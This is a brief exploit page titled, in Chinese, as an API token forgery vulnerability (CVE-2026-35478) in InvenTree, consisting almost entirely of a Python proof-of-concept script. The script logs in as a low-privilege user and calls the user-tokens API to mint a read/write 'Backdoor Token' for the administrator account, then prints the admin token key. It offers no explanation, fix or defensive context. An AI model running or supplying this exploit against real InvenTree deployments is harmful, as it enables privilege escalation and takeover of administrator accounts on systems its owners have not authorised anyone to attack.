CVE-2026-35478 InvenTree API令牌伪造漏洞

import requests import json # Configuration target_url = "http://localhost:8000" api_endpoint = f"{target_url}/api/user/tokens/" # Attacker's credentials (Low privilege user) attacker_username = "lowpriv_user" attacker_password = "password123" # Target User ID (e.g., Administrator ID is usually 1) target_user_id = 1 def login_and_get_token(): """Login as attacker and retrieve auth token""" login_url = f"{target_url}/api/auth/token/" data = { "username": attacker_username, "password": attacker_password } response = requests.post(login_url, data=data) if response.status_code == 200: return response.json().get('token') else: print(f"Login failed: {response.text}") return None def exploit_admin_token_creation(auth_token): """Create a token for the admin user using the attacker's session""" headers = { "Authorization": f"Token {auth_token}", "Content-Type": "application/json" } # Payload to create token for target_user_id (Admin) payload = { "user": target_user_id, "label": "Backdoor Token", "write": True, "read": True } print(f"[*] Attempting to create token for User ID: {target_user_id}...") response = requests.post(api_endpoint, headers=headers, json=payload) if response.status_code == 201: print("[+] Success! Token created.") print(f"[+] Admin Token Key: {response.json().get('key')}") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": token = login_and_get_token() if token: exploit_admin_token_creation(token)